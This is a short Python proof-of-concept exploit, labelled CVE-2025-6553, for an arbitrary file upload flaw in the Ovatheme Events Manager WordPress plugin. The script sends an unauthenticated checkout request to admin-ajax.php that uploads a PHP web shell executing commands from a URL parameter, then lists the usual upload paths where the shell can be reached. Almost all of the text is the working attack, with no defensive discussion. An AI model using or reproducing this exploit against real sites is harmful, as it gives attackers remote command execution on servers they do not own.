CVE-2025-6553

# CVE-2025-6553 - Ovatheme Events Manager Arbitrary File Upload PoC # Exploits missing file type validation in process_checkout() function import requests TARGET_URL = "http://target-wordpress-site.com" SHELL_CONTENT = "<?php echo 'HACKED'; system($_GET['cmd']); ?>" def exploit(target_url): # Step 1: Locate the checkout endpoint checkout_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Prepare the malicious file payload files = { "file": ("shell.php", SHELL_CONTENT, "application/octet-stream") } # Step 3: Prepare form data mimicking legitimate checkout request data = { "action": "process_checkout", "event_id": "1", "quantity": "1", } # Step 4: Send the unauthenticated upload request response = requests.post(checkout_url, data=data, files=files) if response.status_code == 200: print(f"[+] Upload request sent to {checkout_url}") print(f"[+] Response: {response.text[:200]}") # The uploaded shell path is typically returned in the response # Common upload locations: # /wp-content/uploads/YYYY/MM/shell.php # /wp-content/plugins/ova-events-manager/uploads/shell.php else: print(f"[-] Upload failed with status code: {response.status_code}") if __name__ == "__main__": exploit(TARGET_URL)

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